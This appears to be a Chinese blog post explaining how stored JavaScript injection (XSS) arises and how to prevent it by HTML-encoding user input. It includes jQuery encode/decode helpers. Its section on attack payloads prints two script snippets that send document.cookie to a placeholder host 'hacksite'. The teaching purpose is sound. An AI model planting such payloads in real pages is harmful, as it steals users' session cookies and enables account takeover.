JavaScript注入漏洞的原理及防范(详解)


Posted in Javascript onDecember 04, 2016

初次接触:

初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。

发生模式:

JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。

比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名字的时候注入了脚本,那么受其影响的各个系统都有发生注入漏洞的风险。

曾经在帮别的项目做Bug Bash时,我给系统中的一个名字中注入了JavaScript脚本,结果导致使用这个名字的8个子系统、站点、app出现问题。

解决方案:

防范注入漏洞主要有两个思路:一个是在用户输入数据后Encode内容后再保存到持久存储,另一个是在展示用户输入数据的地方Encode从持久存储中取到的数据。

方法一的优点是一般存储用户输入数据的代码少而固定但展示输入数据的UI界面可能有很多而且还会有变化的可能,因此比较好防范;但缺点是存储在持久存储中的数据是Encode后的。

方法二的优点是存储在持久存储中的数据原始内容;但缺点是需要在多处UI界面中写代码防范,而且还得确保在增加新的UI时不忘防范。比如现在Web app比较流行,公司决定开发,那么在开发的过程必须要做好防范,否则可能别的地方都防范好了,但新系统中却没有做好防范,漏洞最后还是发生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

漏洞被用于攻击时注入内容:

jQuery场景:

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS场景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

测试漏洞时注入内容:

<script>alert(0)</script>

<script>debugger</script> --辅助开发人员快速定位出错的JavaScript代码(打开调试器的情况下)。

以上这篇JavaScript注入漏洞的原理及防范(详解)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
jquery遍历input取得input的name
Apr 27 Javascript
jquery实现滑动图片自己测试的例子
Nov 05 Javascript
JS取request值以及自动执行使用示例
Feb 24 Javascript
在JavaScript中处理数组之reverse()方法的使用
Jun 09 Javascript
理解javascript中的严格模式
Feb 01 Javascript
JavaScript算法系列之快速排序(Quicksort)算法实例详解
Sep 04 Javascript
js 打开新页面在屏幕中间的实现方法
Nov 02 Javascript
工作中常用的js、jquery自定义扩展函数代码片段汇总
Dec 22 Javascript
JQuery 又谈ajax局部刷新
Nov 27 jQuery
jQuery中ajax获取数据赋值给页面的实例
Dec 31 jQuery
vue使用自定义指令实现拖拽
Jan 29 Javascript
js实现带积分弹球小游戏
Jul 21 Javascript
浅谈html转义及防止javascript注入攻击的方法
Dec 04 #Javascript
jquery select2的使用心得(推荐)
Dec 04 #Javascript
Jquery删除css属性的简单方法
Dec 04 #Javascript
浅谈jQuery before和insertBefore的区别
Dec 04 #Javascript
jQuery根据ID、CLASS、等获取对象的实例
Dec 04 #Javascript
jQuery得到多个值只能用取Class ,不能用取ID的方法
Dec 04 #Javascript
javaScript中定义类或对象的五种方式总结
Dec 04 #Javascript
You might like
PHP怎样调用MSSQL的存储过程
2006/10/09 PHP
无刷新动态加载数据 滚动条加载适合评论等页面
2013/10/16 PHP
分享php分页的功能模块
2015/06/16 PHP
PHP的Yii框架的常用日志操作总结
2015/12/08 PHP
php原生导出excel文件的两种方法(推荐)
2016/11/19 PHP
javascript里的条件判断
2007/02/27 Javascript
原生javascript实现图片轮播效果代码
2010/09/03 Javascript
JavaScript快速检测浏览器对CSS3特性的支持情况
2012/09/26 Javascript
jQuery ajax serialize()方法的使用以及常见问题解决
2013/01/27 Javascript
jquery 为a标签绑定click事件示例代码
2014/06/23 Javascript
微信小程序 详解下拉加载与上拉刷新实现方法
2017/01/13 Javascript
Vue.Js中的$watch()方法总结
2017/03/23 Javascript
vue的Virtual Dom实现snabbdom解密
2017/05/03 Javascript
javascript 中的继承实例详解
2017/05/05 Javascript
微信小程序异步API为Promise简化异步编程的操作方法
2018/08/14 Javascript
vue前端框架—Mint UI详解(更适用于移动端)
2019/04/30 Javascript
javascript中可能用得到的全部的排序算法
2020/03/05 Javascript
python使用beautifulsoup从爱奇艺网抓取视频播放
2014/01/23 Python
Python中is与==判断的区别
2017/03/28 Python
python3 破解 geetest(极验)的滑块验证码功能
2018/02/24 Python
Python过滤txt文件内重复内容的方法
2018/10/21 Python
Python设计模式之备忘录模式原理与用法详解
2019/01/15 Python
Python使用psutil获取进程信息的例子
2019/12/17 Python
python logging 日志的级别调整方式
2020/02/21 Python
python MultipartEncoder传输zip文件实例
2020/04/07 Python
调整Jupyter notebook的启动目录操作
2020/04/10 Python
css3 中translate和transition的使用方法
2020/03/26 HTML / CSS
Carter’s OshKosh加拿大:购买婴幼儿服装和童装
2018/11/27 全球购物
《寓言两则》教学反思
2014/02/27 职场文书
欠款起诉书范文
2015/05/19 职场文书
2015年学校总务工作总结
2015/07/20 职场文书
防溺水安全教育主题班会
2015/08/12 职场文书
HTML+CSS+JS实现图片的瀑布流布局的示例代码
2021/04/22 HTML / CSS
浅谈Redis跟MySQL的双写问题解决方案
2022/02/24 Redis
python解析照片拍摄时间进行图片整理
2022/07/23 Python
Spring boot实现上传文件到本地服务器
2022/08/14 Java/Android